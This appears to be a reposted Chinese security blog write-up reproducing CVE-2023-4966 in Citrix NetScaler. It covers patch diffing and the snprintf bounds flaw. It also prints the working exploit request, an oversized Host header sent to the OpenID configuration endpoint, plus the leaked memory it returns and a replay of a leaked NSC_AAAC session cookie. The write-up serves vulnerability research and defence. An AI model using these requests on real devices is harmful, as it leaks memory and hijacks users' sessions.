CVE-2023-4966复现

admin 2024年2月16日00:29:02评论44 views字数 5285阅读17分37秒阅读模式
本月,Citrix 发布了一份安全公告,其中提到了unauthenticated buffer-related vulnerabilities “未经身份验证的缓冲区相关漏洞”和两个 CVE。这些问题影响了 Citrix NetScaler ADC 和 NetScaler Gateway产品。
对 CVE-2023-4966 有兴趣是因为漏洞描述为“敏感信息泄露”,CVSS 评高分为 9.4,以及“缓冲区相关漏洞”的标签。所以尝试了解复现该漏洞并写一个利用脚本。
Citrix NetScaler是一种提供负载平衡、防火墙和 VPN 服务的网络设备。NetScaler Gateway 是VPN 和身份验证组件,而 ADC 指负载平衡和流量管理功能。
补丁比较
首先安装和配置想要比较的两个版本。我们选择了13.1-49.15和13.1-48.47。根据使用过 NetScaler 经验,重点要查看 /netscaler/nsppe 二进制文件。这是 NetScaler 数据包处理引擎,它包含完整的 TCP/IP 网络堆栈以及多个 HTTP 服务。如果 NetScaler 中存在漏洞,我们首先要注意的就是这个位置。
使用 Ghidra 反编译了两个版本的 nsppe 并使用BinExport扩展创建了 BinDiff 文件。由于二进制文件非常大,此过程需要一段时间。为了确保成功,我们将“编辑”->“工具选项”->“反编译器”下的反编译器设置调整为以下内容。
  • Cache Size (Functions): 2048

  • Decompiler Max-Payload (Mbytes): 512

  • Decompiler Timeout (seconds): 900

  • Max Instructions per Function: 3000000

创建 BinDiff 文件后,打开它们进行比较,发现大约 50 个函数发生了变化。继续检查每个版本,通常在 Ghidra 中打开两个版本,并使用文本比较工具比较反编译的输出
找到问题函数
我们发现了两个突出的函数:ns_aaa_oauth_send_openid_config和ns _aaa_outhrp_send_oopenid_config。这两个函数执行类似的操作,它们实现OpenID连接发现端点。这两个函数都可以分别通过/oauth/idp/.well-known/openid-configuration/oauth/rp/.well-known/openid-configuration进行未经身份验证的访问。

这两个函数都进行了相同的修补方式,是在发送响应之前进行的额外边界检查。如下面的片段中看到,该片段显示ns_aaa_oauth_send_openid_config的前后部分。

原始版本:
iVar3 = snprintf(print_temp_rule,0x20000,               "{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);authv2_json_resp = 1;iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
修补后:
uVar7 = snprintf(print_temp_rule,0x20000,               "{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri":  "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}"               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);uVar4 = 0x20;if (uVar7 < 0x20000) {    authv2_json_resp = 1;    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);    ...}
这函数非常简单,它为 OpenID 配置生成 JSON 有效负载,并使用 snprintf 在有效负载中的适当位置插入设备的主机名。在原始版本中,响应是立即发送的。在修补版本中,仅当 snprintf 返回小于 0x20000 的值时才会发送响应。
也就是说该漏洞的产生是因为snprintf的返回值用于确定ns_vpn_send_response,因为 snprintf 不返回它写入缓冲区的字节数,snprintf 返回如何写入缓冲区如果缓冲区足够大,它会写入缓冲区许多字节。
要利用这一点,我们需要做的就是弄清楚如何使响应超过 0x20000 字节的缓冲区大小。然后,应用程序将使用完全填充的缓冲区以及紧随 print_temp_rule 缓冲区之后的任何内存进行响应。
‍漏洞利用
最初我们认为该端点可能无法被利用。插入的唯一数据是主机名,这是需要管理员访问权限才能配置的内容。测试后发现,插入有效负载中的值不是来自配置的主机名。它实际上来自 HTTP Host 标头。
而且还发现,NetScaler 将主机名插入到有效负载中六次,因为这意味着我们可以达到 0x20000 字节的缓冲区限制,而不会因为 Host 标头或整个请求太长报错。
测试以下请求并将其发送到我们的 NetScaler 应用环境。
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1Host: a <repeated 24812 times>Connection: close

收到如下响应,(很多不能打印的字符删掉了).

HTTP/1.1 200 OKX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Length: 147441Cache-control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Type: application/json; charset=utf-8X-Citrix-Application: Receiver for Web{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡ðí§¡-ª¼tÙÌåDx013.1.48.47àd98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OKContent-Length: @@@@@Encode:@@@Cache-control: no-cachePragma: no-cacheContent-Type: text/htmlSet-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}ðååPÏÏéÒÏeGÁ"RDEFAULTò #pack200-gzipcompressdeflategzipdentityþÿÿÿÿÿ©VPN_GLOBALÿÿÿÿÿÿ   è"AAA_PARAMí
可以清楚地看到紧随 JSON 负载之后的大量内存泄漏。虽然其中很多是空字节,但响应中存在一些有价值的信息。
验证会话令牌
由于 print_temp_rule 缓冲区是静态全局缓冲区,因此我们每次返回的响应都是相同的。这让测试和写利用程序很方便和容易,我不用为了找到某些东西而运行请求数千次。能够可靠地获取在响应中看到的 65 字节长的十六进制字符串,并通过将其用作 NSC_AAAC 会话 cookie 来验证它是否是有效的会话 cookie,测试如下,可以正常利用令牌。
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1Host: 192.168.1.51Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42Content-Length: 0Connection: closeHTTP/1.1 200 OKX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Length: 4Cache-control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Type: text/plain; charset=utf-8X-Citrix-Application: Receiver for Webtestuser1
并非每个 NetScaler 实例都配置为使用相同类型的身份验证,但在我们测试过的几乎所有实例中,都可以在响应中的此位置找到 32 或 65 字节长的十六进制字符串泄露信息。
其它补充:
这漏洞其实是由于不完全理解snprintf而导致的。尽管官方建议将 snprintf 作为sprintf 的安全版本,但还是要小心,使用 snprintf 避免了缓冲区溢出,但随后的缓冲区过度读取仍然是一个问题。
与 Citrix NetScaler 之前的问题一样,由于缺乏其他深度防御技术和缓解措施,该漏洞变得更加严重。临时方式可以不清除临时缓冲区中的敏感数据以及对客户端提供的数据进行更严格的验证是两个最明显的缓解措施,可以用来最大程度地减少损害。
由assetnote开发的POC工具:
https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-4966下面可以看到该脚本的演示。

CVE-2023-4966复现

原文始发于微信公众号(军机故阁):CVE-2023-4966复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月16日00:29:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-4966复现https://cn-sec.com/archives/2162827.html

发表评论

匿名网友 填写信息